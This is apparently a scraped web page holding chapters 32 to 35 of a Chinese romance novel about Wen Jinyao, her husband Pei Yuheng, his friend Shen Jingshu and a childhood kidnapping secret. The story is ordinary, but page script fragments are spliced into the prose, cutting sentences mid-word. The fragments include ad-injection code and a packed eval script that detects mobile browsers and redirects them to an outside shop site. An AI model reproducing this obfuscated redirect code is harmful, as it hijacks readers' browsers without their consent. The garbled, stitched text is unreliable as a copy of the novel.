温今遥怔愣地眨眼:“……啊?” 两人交缠的影子被花灯拉得又长又淡,影影绰绰投在镂空表盘的指针上。指针在夜色中轻缓地划过透明的玻璃,他们就像掩藏在时间表面下,一个悠长而沉静的秘密。 “那些所谓的手段计策,都建立在我现在拥有的这些资本上,如果我一文不名,什么方法都不作数了。”裴聿珩笑道:“再加上我这个人,道德水准确实不那么高。” “所以不用觉得卑微,”他从背后拥住她:“你为自己做到了你能做的一切,我很为你骄傲。” 温今遥靠在他坚实的怀里,不断从心底冒出温暖柔软的泡泡,嘴上还在开他的玩笑:“裴总就用这张嘴去谈判,谁谈得过你呀。” 搭在她腰间的手紧了紧,一声轻笑带着热意落在她耳边:“那我可要看好你,要是在谈判桌上对上你,我可没有必胜的把握。” 顿了顿,裴聿珩再开口,声音却覆上一层犹豫:“你原谅我了,对吗?” 温今遥摇头:“我根本就没有怪过你,所以你也赶紧忘记吧。” 临近新年,泳池旁的电音派对该是到了高潮,人声翻卷着滚烫热意,从地板和门缝中无孔不入地钻进来。巨大钟表的黑色分针卡顿着划过最后一格,跟早已在中央等待的短促时针重合。 钟楼里灯光忽暗,耳边响起震耳欲聋的钟声,空中倏然划过一道橙红流星,在最高点毫无征兆地炸开,洒满天际的星光瞬间点亮了温今遥微抬的晶亮眼眸。 轰鸣的钟声和接连爆裂的烟花声渐渐远去,一对素戒静静躺在深蓝色的描金盒子里,被捧到了她的面前。 “我想这是个不错的时机,”贯穿她整个生命的那个声音在她耳边轻轻响起:“今遥,新年快乐。” 绚烂烟火盛开在墨蓝天际,点亮一对铂金婚戒,时间如同隐喻般环绕在他们周围,人群欢呼雀跃着,庆贺新生希望的到来。 这样的世间,如果不接吻,那实在是可惜。 于是温今遥转身环住他紧实的腰,踮起脚尖,毫不犹豫地印上他的双唇。 “裴聿珩,新年快乐。” …… 新年的第一天,北城落了一场极为慷慨的雪。 温今遥一觉醒来,已是下午,只见窗外白茫茫一片,叶片似的大雪飘然而落,遮天蔽日般留下一个蛋黄酥一样的太阳,懒懒挂在天边。 另半边床空空荡荡,床罩铺得规矩平整,床头柜上给她留下一张字条:临时有事,晚饭可以一起吃。 ……元旦也不休息,看来资本家也不是那么好当的。 连日来的疲惫尚未消除,温今遥困倦地转了转脖颈,上线检查昨天跨年活动的效果。 在各大KOL的主 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 页转了一圈,发现点赞评论都高于原本预期,3D全息鲸影还在社交平台上小爆了一把,工作软件里,鸿禧宣传喜滋滋发来后台截图——很多人发私信问这东西会常驻吗,可以去打卡吗,下次的主题是什么? 温今遥拍了拍胸口,有一种自家丑孩子被人夸了的骄傲。 她心满意足地刷着好评评论,嘴角翘得比天高,仿佛罪犯重回犯罪现场。 很快,一条不太起眼的评论映入她的眼帘:“现在可以预定春节活动了吗?能不能发个早鸟票,到时候跟年夜饭一起办?” 年夜饭? 今年的春节就在二月初,过不了几天就要开始预热,大过年的,大家都想图个荣华富贵的好彩头,所以今年业内已经传出许多要跟珠宝联名的传闻,但都没做出什么实在的预告来。 搞不好……有戏呢? 她一骨碌从床上翻起来,看了眼人满为患的打车软件,抓起自己最厚的裤子和外套,穿上就一溜烟出门了。 冬日的夜晚来得很早,只要天光渐暗,沁骨凉意便渐渐漫上来。温今遥出门走了几步,无比庆幸自己的决定——无他,大过节的,根本打不到车。 还好穿得够厚。 她选的是一家名为“岚”的珠宝订制工坊,开业不到一年,便以其出圈的不俗设计在年轻人当中立起口碑,虽然比不得根基深厚的大牌,但胜在年轻化,正好跟鸿禧的新品牌半夏契合。 不愧是任何节日都能过成情人节的年轻人,新年第一天,“岚”装修精致的三层店面中,挤满了成双成对来抽首饰盲盒的小年轻,你侬我侬,气氛甜蜜浓稠得很。 温今遥望着正在试项链的一对情侣,忽然想,裴聿珩现在在干什么?是不是还在办公室加班呢? 她轻轻叹了一声,回头想找主理人聊聊联名事宜,抬眼一望,大脑却空了一瞬。 一对赏心悦目的男女正从楼梯上下来,两人笑语晏晏,女人修身礼裙的曲线直愣愣地扎进温今遥的眼。酒红色短裙衬得她肌肤莹白如雪,五官不同于当下流行的甜美,是一种别样的美艳大气。她一笑,白金耳线轻轻晃动,一如她流转深情的眼波。 而她身边的那个人,不是别人,正是在家留了“一起吃晚饭”的字条,然后不知所踪的裴聿珩。 他看上去依然舒展又随性,一身休闲西装将他勤于运动的身形勾勒得修长硬挺,衬衫扣子随意地开了两颗,他抬手随意地理了理衣领,袖扣在水晶吊灯下折射出恰到好处的锋芒。 温今遥第一次如此直观地感受到,什么叫做“天作之合”。 她低头看了看自己臃肿的外套,想,原来“相形见绌”这四个字,可以具体得这么残忍。 她盯着女人笔直光洁的双腿,想,她不冷吗,哦,她确实不应该冷,她不用在数九寒天站在路边打车,也不用长途跋涉就为了一个八字都没有一撇的合作。她出门就有人开车接送,恐怕这辈子,都没有写过一页PPT。 在她脑海中演完一幕丈夫出轨门当户对的千金,抛弃糟糠之妻的大戏之前,楼梯上的裴聿珩忽然站住,讶异地望着她,说出了那句经典台词: “今遥?你怎么在这里?” 33. 第 33 章 温今遥端住了表情,故作镇定地扬了扬手里的资料:“裴总,我来找主理人聊聊联名。” 沈靖舒掩口而笑,凑到裴聿珩耳边:“我觉得你完了。” 裴聿珩温和地笑了笑,觉得手心有些痒,在自己动手把她推下去之前,不动声色地把手插进兜里。 说归说,沈靖舒还是款款下楼,冲温今遥伸出手:“裴太太,你好,我是沈靖舒,是裴聿珩的大学同学,兼‘岚’工作室的合伙人。” 这一句信息量有点过载。 沈靖舒——原来这就是裴聿珩妈妈念念不忘的那个沈小姐!好哇,藕断丝连、旧情复燃是不是?说好的没有过亲密关系呢! 工作室合伙人——原来裴聿珩除了鸿禧,在这里也有股份,今天难道也是来讨论联名的?在新年第一天? 大学同学——船上那个是不是就是大学同学来着?他怎么这么多大学同学?诶,是同一个人不…… 裴太太——好啊,她明知道裴聿珩结婚了,还认识裴太太长什么样子,还明目张胆这么亲密! 四个大槽点,温今遥一时竟然不知道该先从哪个吐起。 她轻飘飘看了裴聿珩一眼,道:“看来裴总对合作有自己的想法,那我就先不打扰了。” 裴聿珩长腿一跨,两步到她面前,语气难得有些微慌乱:“吃饭了么?”又靠近她耳边:“游轮上跟你解释过的那个人,就是她,还记得吗?” 温今遥怪难过的,但她牢记自己表面妻子的身份,故作大度地对他点点头:“我知道,没事,我路过菜市场的时候买点菜叶子就行,你们吃。” 裴聿珩:“……” 沈靖舒说得对,他好像真的完了。 始作俑者跟着他款步走下来,如水眼眸波光流转,微笑着对温今遥道:“今天新年,一起吃晚饭吧,我做东。” 不得不说,沈靖舒正经笑起来,明艳的模样当真令人难以移开目光。 温今遥跟没见过世面的小伙子一样,被她的笑颜短暂地摄了神,正要开口答应,眼前却忽然一黑。 裴聿珩挡在她面前,斩钉截铁:“不行。” 温今遥:? 沈靖舒挑起眼帘,狡黠地问:“怎么了裴总,认识这么多年,这点交情都没有吗?” 温今遥在他宽阔的肩背后面咬牙切齿:为什么不让她去!肯定有猫腻!哼! 她心下酸涩,又偏偏不想躲,于是看热闹不嫌事大似地:“裴总,不如就一起吃吧,现在有点晚了,菜市场也要关门了。” 裴聿珩:“……” 他很多年没有尝到这种被架在火上的滋味了,上一次还是七年前,恰好也跟温今遥有关。 裴聿珩:“那好,去隔壁。” 温今遥瞪大了眼睛。 隔壁是一幢耸入云霄的写字楼,裴聿珩说的,是写字楼顶楼的旋转餐厅。 别说贵了,贵只是它众多可望不可及的特点之一,它最大的特点,是一座难求。 更何况是这种蚂蚁都不想待在家的元旦佳节。 沈靖舒忽略了他阴晴不定的面色,越过他去看讶异的温今遥:“看来你老婆对鸿禧的产业了解得不够哇。”她撩了一把如丝卷发,对温今遥低声道:“妹妹,我家产业也很大,遍布服饰美妆家居,有兴趣了解一下吗?” 眼见着她抖落着羽毛,要开始孔雀开屏,裴聿珩适时牵住温今遥的手:“饿了吧?吃饭去。” 沈靖舒这番混账话,温今遥倒是上了心:难怪他们能做同学,原来是门当户对。 沈小姐样貌如此出众,家世又是不输裴聿珩的显赫,难怪当时去裴家的时候,易湘会问他,沈小姐哪点不好,比不上这个野丫头? 她低头看看自己的衣服:“我就……不去了吧,我这一身,不太合适。” 裴聿珩笑了,手掌极其自然地覆上她的腰:“我觉得这身很好,看起来很暖和。不用担心别人,有我在,没人敢的。” 沈靖舒落后他们一步,心里的槽点像弹幕一样不停划过:啧啧啧有我在没人敢的,她上次听这句话,还是在某本霸道总裁有声小说里。 …… 旋转餐厅中空气都是静谧的,偶有低声交谈和刀叉克制地触碰餐具的声响,跟外面嘈杂喧嚣的热闹气氛大相径庭。 三人直接被带到一间私密包房,既不影响俯瞰整个北城的落地景观,也无需跟其他客人一起分享公共空间,甚至服务生看到温今遥身穿棉袄和打底裤这种格格不入的装扮时,表情都没有一丝变化,仍是姿态谦恭、毕恭毕敬。 菜还没上来,沈靖舒就开始对裴聿珩大放厥词:“怎么,这里的人不认识裴太太吗?” 沈大小姐别的不行,但只要谈起恋爱来那真是人尽皆知,每次把小女朋友哄得,无论进她们家哪一家店,经理都能轻松叫出小女朋友的名字,情绪价值直接拉满。 言下之意,是当他裴聿珩的老婆连这点待遇都没有,他这个配偶,做得着实不够格,零分,差评。 但沈靖舒这句话听在温今遥耳朵里,可就是另外一种意思了:他们这个圈子是有壁垒的,连这种他们经常出入的场合,温今遥都不熟,那答案显而易见了——裴聿珩原本就没把她当做自己人。 裴聿珩轻飘飘地扫了沈靖舒一眼,知道她又开始发癫,明里暗里要在姑娘面前跟他雄竞,面色沉郁道:“不劳沈小姐费心。” 温今遥落落大方:“我平时确实没有什么机会来这种地方,但这里看上去,也不过如此。” “哦哟,”沈靖舒抿唇而笑:“听见了吗裴总,你老婆对你家产业不满意呢。” 温今遥听着这话简直是挑拨离间,也动了脾气,正要反唇相讥,话头却被裴聿珩接过去:“她平时工作忙,不像你有那么多时间闲逛,这里也不是什么重要的地方。你要是实在没事做,就去厨房把碗洗了。” 沈靖舒笑意更甚:“真好,我就喜欢有事业心的女孩子。别信这帮男的说会养你一辈子,亲爹都靠不住的。”她凑近了温今遥,身上清淡优雅的香气充斥了温今遥的鼻尖,轻声在她耳边道:“但女的不一样,女的可以信。” 沈小姐明艳动人的笑颜,给温今遥钓得五迷三道,一瞬间竟然忘了她还身处战场,今天原本是打算跟这个女人不死不休的。 裴聿珩彻底黑了脸:“……沈靖舒,你不想吃饭就给我滚出去,别在这给我胡说八道!” 温今遥下意识替她讲话:“大过节的,别这样。” 裴聿珩:“……” 沈靖舒对着裴聿珩眉尖一挑:“裴总,裴太太替我说话了。” 这两个人你一言,我一语,一个眉峰紧蹙隐隐失控,全无平日游刃有余的气场,一个字字扎心气定神闲,好像今天不拆散他们俩就不算完。 神奇的是,在座明明只有三个人,可裴聿珩和温今遥都觉得自己身处硝烟弹雨的修罗场,退一步,身边人就要被别人抢走了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一顿昂贵精致的晚餐吃得刀光剑影血流成河,斗嘴斗到最后温今遥都累了,两眼发直地吃着甜品,又被沈靖舒一句话挑起了精神:“温小姐今天来,是想跟我聊聊‘岚’跟半夏的联名吗?” 温今遥一个激灵,对啊,今天来是来聊正事的,光顾着生气了,合作忘谈了。 裴聿珩直接截断了沈靖舒的话头:“有什么合作不能跟我谈,非要麻烦品牌策划?”他眯了眯眼:“你是觉得我不够懂半夏?” 温今遥冷笑:“裴总现在是不让我们中间商赚差价了?” 她斜眼睥睨裴聿珩:她可以接受别人说她长得不美,品味不高,但谁要说她工作能力不行,她势必要跟他大战八百回合。 沈靖舒目光在剑拔弩张的两人之间流转,幸灾乐祸:“专业人做专业事,论投资管理,你罕逢敌手,论这种零碎又具体的策划,我看还是温小姐能力更胜一筹。” 她好整以暇:“谁让你天天跟我们安利你老婆,把她业务能力吹得天花乱坠的时候,想到有今天了么?” 一句话给温今遥钓成翘嘴:“哎呀,其实也没有那么……” “可以,你们谈,”裴聿珩十指交叉,上身前倾着对上沈靖舒,眼神危险:“这次联名要是没有跨年活动成功,沈小姐就等着鸿禧撤资吧。” 沈靖舒不可置信地看着他:“……恃强凌弱,裴聿珩你要不要脸的?” 裴聿珩双手抱胸往后一靠:“新年第一天就来挑拨我跟夫人的关系,沈小姐倒是体面得很。” 温今遥有点听不懂他们之间的杀气腾腾,就感觉裴聿珩一会儿帮着她在骂沈靖舒,一会儿又宁愿自己跟沈靖舒单聊,也不想带上她,两相缠斗,像两只带着毛毛刺的小刺猬。 这想象太有画面感,她含着一块芝士蛋糕,不小心笑出了声。 短兵相接的两人同时转头望她,温今遥一愣,赶紧解释道:“我就是觉得,你们两个,怪可爱的。” 裴聿珩从不曾跟她提起自己在国外那么多年,过的是什么日子,想来即使经济上富足,也难免束缚挣扎,现在看起来,有沈靖舒这样的朋友陪在他身边,那时候的时光,或许不会那么难捱。 温今遥含着笑垂下眼,心中虽然酸涩难止,但想到那七年间裴聿珩会因为这样优秀耀眼的人,活得轻松一些,她又觉得庆幸。 这样就好呀,她想,哪怕陪着他的人不是我呢。 沈靖舒侧脸看她微微抿起的唇角,忽然安静下来。 她总听裴聿珩说今遥今遥,简直好奇死了,见第一面,就觉得这姑娘有趣——自己明明也在害怕,却硬撑着,也要昂首挺胸站在裴聿珩身边。 她确实习惯不好,见到有意思的姑娘就想上去勾引一把,可温今遥这个称不上从容的笑容,偏让她收了心思,升起了保护她心意的念头。 “累了,我要回家躺着了,”沈靖舒把餐巾往桌上一丢:“温小姐,过两天我会私人联系你,如果你能给‘岚’提供额外的品牌咨询服务,我会按市价的两倍付你报酬。” 温今遥瞬间把那些有的没的抛到脑后,立刻递上名片:“哎呀这怎么好意思……您哪天有空?” 侍应生顺风耳似地轻轻推门而入,呈上账单,裴聿珩板着脸签了:“结账了就赶紧走,不要影响人家翻台率。” 沈靖舒将名片放进手包,对她嫣然一笑:“等哪天你落单的时候。” “………………沈靖舒!” 34. 第 34 章 夜晚,月光如瀑,温今遥洗漱好,坐在卧室落地窗前,静静地望着云中若隐若现的星子出神。 裴聿珩近乎无声地走过来,手指缠上她乌黑柔滑的发丝,它像丝绸一般微凉缱绻地滑过他的指尖,在月华中轻轻落在她纤薄的肩上。 “在想什么?”他问。 温今遥往一边靠了靠,给他在身边留出一块位置来:“没想,就是在发呆。” 裴聿珩默了默,决定直接切入正题:“上次跟你讲过,沈靖舒是我大学同学……” “我知道,”温今遥笑了,想起了至少一百部言情小说里的桥段:“你是不是想跟我说,上次都解释过了,我为什么还要多想呢,都是捕风捉影,无稽之谈,难道跟我结婚了就没有交朋友的自由了么,连从前那么亲近的朋友也必须要绝交?” “啊哟,没有啦……”她把下巴搁在曲起的膝盖上,偏头对着裴聿珩微笑:“放心,我摆得正自己的位置,哪儿还能真的限制你呢。” 温今遥清楚得很,当初裴聿珩选她结婚,不就是因为即使他出轨,她也无力制止,只要尽心尽力扮演好自己的角色,一辈子荣华富贵,这还不够吗。 “不过下次的话,能不能别让我碰见呢,”她轻叹一声:“你们俩家大业大的,能不能自己买一处远一点的地方去见面?这样光明正大,对你的名声也不太好吧?” 裴聿珩捏着眼角:“今遥——” “好了你不要解释了,”温今遥转过脸,用后脑勺对着他:“我心里有数。” 裴聿珩哭笑不得地绕到对面,半跪在她面前,轻轻捏起她的脸:“你又有什么数了?嗯?” 温今遥眼圈蓦地红了:“干嘛一定要欺负我,我都已经不管你在外面搞女人了,你不会还要我去给她洗衣服做饭吧?” 裴聿珩失笑:“今遥,咱们凭良心讲,你做饭的水准,能伺候别人吗?” 温今遥嚅嗫半晌,恼羞成怒:“哼!” 嘴硬归嘴硬,一颗小小的眼泪还是不争气地掉下来,烫在裴聿珩的手背上。 裴聿珩动作顿了顿,站起身来,直接弯腰将她打横抱起,放在床边,自己还是半跪在她面前,仰起下巴,对上她水汽朦胧的眼睛:“就不能听我解释完,又开始自己编故事了?” 温今遥用手背抹掉眼泪:“那你解释嘛,我先听听你打算怎么编,我再决定我要不要往下编。” 裴聿珩闭了闭眼,长叹一声:“沈靖舒是我大学同学,当年是我们学校远近闻名的女海王,但她玩的不是男人,她玩的都是小学妹。” 温今遥:“女海王也……啊?” 裴聿珩笃定地点头:“你以为她今天这一出,是在跟你争吗?”他曲起手指,拭去她睫毛上细细的水珠,无奈地笑着:“她那是在跟我争。” “不是……”温今遥拍开他的手,骇然道:“裴聿珩,你现在为了骗我,都已经到了造谣别人性取向的地步了?” 裴聿珩笑着摇头:“我好像也没办法跟你证明,即使你去问她,她也不会承认,因为她一贯先假装女孩子的闺蜜,等人家喜欢上她,怀疑自己的取向了,她再承认自己是lesbian,女孩子们没有一个不上钩的。” 温今遥直眉楞眼的:“裴聿珩,过两天我要跟她单独见面的我跟你讲,我可不能保证我不卖你啊!” 裴聿珩苦笑:“能带我去么?” “不能。” “……求你也不行?” “求我也不行,别耽误我搞事业。” 裴聿珩把额头抵在她膝盖上,笑着:“咱们家的家庭地位,真是一目了然。” 温今遥低头看他的发顶,感受着他温热的鼻息隔着家居服,细细密密地喷在自己的皮肤上,忍不住似地,伸手去摸他的头发。 裴聿珩小时候头发很软,都说他以后肯定脾气好,现在摸起来,倒是硬得扎手。 温今遥摩挲他的发顶,轻轻问:“你跟她……关系应该很好吧?” 裴聿珩轻笑了一声,站起身来把她塞进被窝,自己躺在她的身边,手臂环住她:“她不犯病的时候,关系确实还行。” 当年裴聿珩被家里硬是送出国,为了防止他偷跑回来,不但收了他的护照,还安排专人监视他的生活,生怕他再偷偷跟温今遥联系,最后是沈靖舒站出来,用了家里的关系,把这些人全部收拾了。裴崇和易湘听到风声,去找天宫集团算账,却因为这件事,两家意外达成了合作,跟踪监视裴聿珩的事,也就不了了之了。 ……只不过这些,沈靖舒也没有白给,毕业之后她厌倦家里复杂的家庭关系和她爸数量离谱的私生子,决定出来独立创业,却得不到家里支持,便从裴聿珩这里敲了一大笔启动资金。 不过这些都是后话了,当时他们两个,加上情报网首屈一指、总是给裴聿珩报信的凌漠,三个人互相算计,相爱相杀,的确度过了一段还算不错的校园时光。 温今遥伏在他胸口静静地听完,低声道:“好像……现在的一切,都是从那件事开始的。” 从她不留情面地给裴聿珩难堪开始,从他受了气也还是一意孤行、一定要跟温今遥在一起开始,从他们少年孱弱,面对摆布毫无还手之力开始。 “难怪你跟她在一起的时候,看起来很……” “很怎么样?” “很放松,一点也不是平时那种老僧入定的样子。” “今遥,”裴聿珩忍俊不禁:“你在吃醋吗?” 温今遥一骨碌翻起来:“我才没有,我这是在维护自己合法妻子的地位!” “那好,”裴聿珩闲适地枕着双臂,一瞬不瞬看她:“那我今天,也要维护一下自己合法丈夫的地位。” 他慢慢坐起来:“你上次说,跟秦杨是搭伙过日子,那么,跟我呢?” 这可把温今遥问住了。 她当然喜欢裴聿珩,可她说不出口。 不仅仅是因为他们出身相差太远,她不得不踮脚去够,更是因为她从一开始跟裴聿珩亲近起来,都是因为她的愧疚。 她怎么会忘呢。 八岁那年,爸爸刚刚成为裴叔叔的司机,在那个潮湿又闷热的夏天,她眼睁睁看着车子的后备箱在不祥地晃动,听见里面传来细微的呼喊和呜咽,声音跟那个她新认识的好看的哥哥一模一样。 她的追问被父亲不耐地敷衍,小小的她趁着夜色打开后备箱,并偷偷解开麻袋上的绳子,麻袋里真的露出了裴聿珩苍白如纸的脸。 那时他已经昏迷,怎么也叫不醒,屋里传来父亲叫她的声音,她只能在旁边放了一瓶水,匆匆离去。 夜深之后,父亲的大呼小叫把她吵醒——裴聿珩竟然真的自己跑了。 温今遥还记得当时自己是怎么心怀忐忑地跟着父亲,像没事人一样依旧天天接裴聿珩放学,在裴家做功课、吃点心,她总觉得那一天裴聿珩应该看到了什么,至少应该听到了什么,只要他告诉父母,她和她爸立刻就会被扫地出门,搞不好还会被警察叔叔抓走,到时候可能连颠沛流离的生活都过不上了,只能去监狱里,被老鼠咬指甲。 可是在她一天天的担忧里,等到的竟然是爸爸正式开始在裴家当司机的消息。 温今遥百思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967961|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得其解,最后只能归结于,裴聿珩对她爸爸绑架他这件事,一无所知。 但她不能忘,也不能理所应当地享受裴家给的丰厚报酬,只能笨拙地靠近他、对他好,其余不属于她的更是一概不敢想,好弥补自己心里的愧疚。 ……以至于后来裴聿珩喜欢上她,她都一脸懵逼,甚至有点不相信。 这些烂事她在小时候都没能说出口,今天对着裴聿珩灼然的眼神,当然更是无从说起。 “怎么不说话?”他温声问:“我们的关系,就这么难以界定?” 这是难以界定的事吗,温今遥腹诽着,我爸是绑架犯耶,我脸皮得多厚才能心安理得要求你也喜欢我啊? 于是她故作为难:“是难以界定。你看啊,我跟你,是比跟秦杨还正宗的搭伙过日子,但是吧,把你跟那种烂人放在一起比,我又于心不忍。” 裴聿珩眉心一抽,伸手一把将她捞到自己身前。温今遥原本跪着,被他大力一拉,不可自控地直接跨坐在他腰上,双手本能地撑在他肩头,这糟糕的姿势,真是一动就显得春色无边。 其实温今遥话一出口就后悔了,她明知道裴聿珩对“老婆”的占有欲强得可怕,不知道哪根筋不对,非要不过脑子地挑衅他的雷区。 裴聿珩一只手控住她后脑,声音果真冷下来:“再说一遍?” “不不不,不说了,”温今遥从善如流,跪得特别爽快:“就是,你得允许我犯一点年少无知的错误。” 裴聿珩冷笑一声:“什么错误,具体说说。” 温今遥被他单手按住,动都动不了,只能老老实实道:“不应该拿你跟秦杨比,不应该乱找事吃醋,不应该跟你朋友乱发脾气,不应该……”她深吸一口气:“不应该当着那么多人的面拒绝你给你难堪,不应该以为你不告而别记恨你……” 不应该明明知道我爸对不起你,还执意靠近。 不应该做绑架犯的女儿。 不应该……不应该贪得无厌,希望你真的爱上我,她在心里说。 按住她后枕的手蓦地收紧,迫使她抬头,对上裴聿珩失望的眼睛。 她不知道,她最不应该的一点,是以为这个男人只是跟她搭伙过日子的搭档,而不是要共度一生的伴侣。 但这种失控仅仅是一瞬,他视线很快恢复清明,慢慢松开手指,淡淡看了她一眼:“不早了,睡吧。” 温今遥坐在他身上,没有动。 裴聿珩:“……你这样要怎么睡觉?下来。” 温今遥执拗地摇头:“不下。” 裴聿珩深深吸了口气,又缓缓吐出,才道:“那你想做什么?” 温今遥咬着下唇,一双如星眸子小豹子似地盯住他,掷地有声:“我想睡你。” 裴聿珩让她气笑了:“不好意思,不方便。” 温今遥歪歪头:“你来大姨妈了?” “……” 温今遥变本加厉地用手指在他身上四处点火:“没来大姨妈,那有什么不方便的?” 裴聿珩火气上来,一翻身直接将她按在床上:“我不想,你听不懂?” 温今遥怔怔地望了他半晌,唇畔忽然漾起一个狡黠的笑:“它好像不是这么说的,要不……你们再商量商量?” …… 人大概总要为自己说过的话付出代价,然后悔之晚矣,但是下次还敢。 那天晚上,温今遥几乎神志不清,她只记得昏昧之间,那个戎首元凶滚烫的鼻息落在她燃烧着的耳廓:“我要你记好,你的心里眼里,哪怕是梦里,都只能有我一个人,听懂了?” 35. 第 35 章 假期的后两天,裴聿珩不是在开电话会议,就是不见人影,元旦假期搞得比工作日还忙。 温今遥知道,他这是在跟自己冷战。 但裴聿珩的冷战跟别人还不一样,一般人冷战,恨不得把联系方式全部拉黑,哪怕对方从面前走过,对视一眼那都算输了。 裴聿珩不是,他冷战起来,依然关心温今遥的一日三餐,有没有吃饱穿暖,哪怕人在家,也绝不开口,信息按时按点地发,可温今遥要想跟他说点别的,或者撒娇耍赖,那边就像忽然想起来冷战这档子事一样,一概没有回应。 温今遥忍了一天半,忍到第三天晚上,终于破功了。 她把自己扔在裴聿珩书桌对面的软椅里:“明天我不要带饭了。” 裴聿珩眼也不抬:“好。” “我要吃垃圾食品。” “可以。” “我还要吃街边的地沟油。” “行。” “我……我不吃饭了明天!” 裴聿珩终于蹙着眉抬起头:“又在闹什么?” 温今遥双手捧着脸,眼巴巴地看他:“你跟我说说话嘛!我都知道错了!” 裴聿珩捏捏眼角,把手里的文件扔到一边:“你要说什么?” 温今遥沮丧道:“我真没拿你跟秦杨比。你们两个,说是天壤之别也不为过吧……” “这个你说过了。” “那我真的不明白了,不是这个,你到底在气什么?” 裴聿珩深吸一口气,慢慢道:“我在嫉妒。” “不是……裴聿珩你讲讲理啊,”温今遥不可置信道:“我跟他在一起的时候,根本不知道后来会跟你结婚啊。他是我前男友这件事,不是人尽皆知么,如果你介意伴侣有过感情史,当初为什么还要选我呢?” 裴聿珩从书桌后站起来,一步一步走到她面前,定定地盯住她的眼睛:“我有没有跟你说过,我跟你结婚是因为喜欢你,其余的一切都是幌子?那时候你不信,现在呢,你信了吗?” “你要我相信你这样一个老谋深算的野心家,为一个不知好歹的乡下丫头守身如玉七年,然后千里追妻,不顾父母的压力和外界的质疑,非要娶我为妻?”温今遥罕有地与他针锋相对:“你信这个,还是信我是秦始皇?” 裴聿珩眉头一挑,眸光不祥地颤动了一瞬,眼神终于彻底冷下来:“你看,哪怕我把心都掏给你,你也还是不信。所以我还能说什么?” “好啊,”温今遥身上惯有的让步早已消失,现在是寸土必争:“那你说说看,跨年之前天韵的选址,你是不是早就知道,是不是早就设好了局?” “……这跟我们之间的事有什么关系?” 温今遥指着书桌上停留在主界面的会议软件:“你是不是要对鸿禧的内鬼动手了?如果秦杨那天晚上不来找我,没有对我不利,你没找到理由打得他满地找牙,贵司的内鬼还会这么快露出破绽吗?” 她尾音浸着自己都不曾察觉的凉意:“你把我也算计进去了,是不是?” 裴聿珩哑了一瞬。 他确实没想到,温今遥看起来一直在忙琐碎的活动策划,远远游离在核心之外,实际上这些事,她早就看在眼里,默默记下了。 把她算计进去是真的,一开始他只是想让她看看害过她的人是什么下场,给她出口恶气。 但后来,裴聿珩敏锐地察觉到,这将会是他以身入局、揪出跟天韵暗通款曲的内鬼的绝佳时机——集团董事动手打人,这是个千载难逢的、有望把他拉下王座的机会,再不济,也有望让他的名望一落千丈。 毕竟谁会相信一个轻易诉诸暴力的人,可以经营好这么大一个集团呢。 当然,他也有自己的私心:他想揍秦杨很久了。 这些复杂的因果你中有我地交织在一起,事到如今,他确实摘不清了。 “其实我不在意你利用我的,我一开始跟你结婚,也不是因为喜欢。”温今遥垂着头,低声道:“但喜欢一个人,应该是纯粹的,所以我们俩,就不要说喜欢不喜欢了吧,行吗?” 谁都不提,谁也不去计算配不配,这样就是最好的。至于她自己的心意,就当成另外一个秘密揣起来吧,反正她最擅长的,就是保守秘密。 窗外北风呼啸着,这一句话如同一张拉满的弓,瞬间将空气都绷成一段紧迫的弧度。 裴聿珩眼睫半掩着沉黑的瞳眸,看不出他在想什么。 温今遥自己似乎也被这句话刺痛了,垂在身侧的指尖无意识地蜷了蜷,却忍住了,强撑着没有转开眼睛。 裴聿珩挑着眉看了她很久,轻哼一声,幽幽道:“不行。” 温今遥:? 裴聿珩捏起她的下巴,居高临下睨着她,全无平日的温存:“温今遥,你以为我在跟你过家家?你还是把我想得太善良了,你信了最好,不信也无所谓,只要你人在我这里,你的心也迟早是我的,不服气的话,你大可以试试。” 温今遥:“……玩尬的是吧?强取豪夺是吧?裴聿珩你是不是有病?” 裴聿珩淡淡扫她一眼,坐回书桌前:“睡吧,新年第一个月,全勤奖不要了么。” “你不是看不上我那仨瓜俩枣么!怎么还惦记上我的全勤奖了!”温今遥恼羞成怒地红了脸:“分居!必须分居!” …… 新年第一个工作日,裴聿珩刚进办公室,就收到了好几封来自股东的问询邮件和留言便条。 他想得没错,有人抓住这个千载难逢的机会,想要一举将他拉下水,至少也能给他狠狠记上一笔。 邮件和便条的语气都出乎意料地一致:裴聿珩从来以计谋手段著称,城府极深,这样简单粗暴的方式,怎么看都不像是他的手笔。 裴聿珩态度谦逊良好地一一致电回复,三言两语便套出了他们每个人的消息来源。或许是时间太紧,又隔着假期不便操作,竟不用吴桓绞尽脑汁地抽丝剥茧,裴聿珩稍稍翻了翻资料,便锁定了这件事背后的操控者。 股东收到的消息,来源不是别处,都是从董办发出的——裴聿珩身边,有人在监守自盗。 背叛者名叫韦荣,已经快到退休年纪,一辈子兢兢业业,平时毫不起眼的一个小老头,见了谁都笑呵呵的,对裴聿珩更是一口一个裴总,毕恭毕敬丝毫挑不出错。 这样一个人,却在两军对垒的关键时刻,看准时机想要给他致命一击。 被叫进办公室时,韦荣显得异常平静,面对质问,他甚至没有想过要推诿,直截了当承认了自己的过错。 裴聿珩看着这个垂着头的老人,忽然想起,这个人他见过。 那时候他还小,可韦荣已经算不上年轻了,他只记得自己跟在裴崇身后,从父亲伟岸的身影边缘探出头来,看到这个人也是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 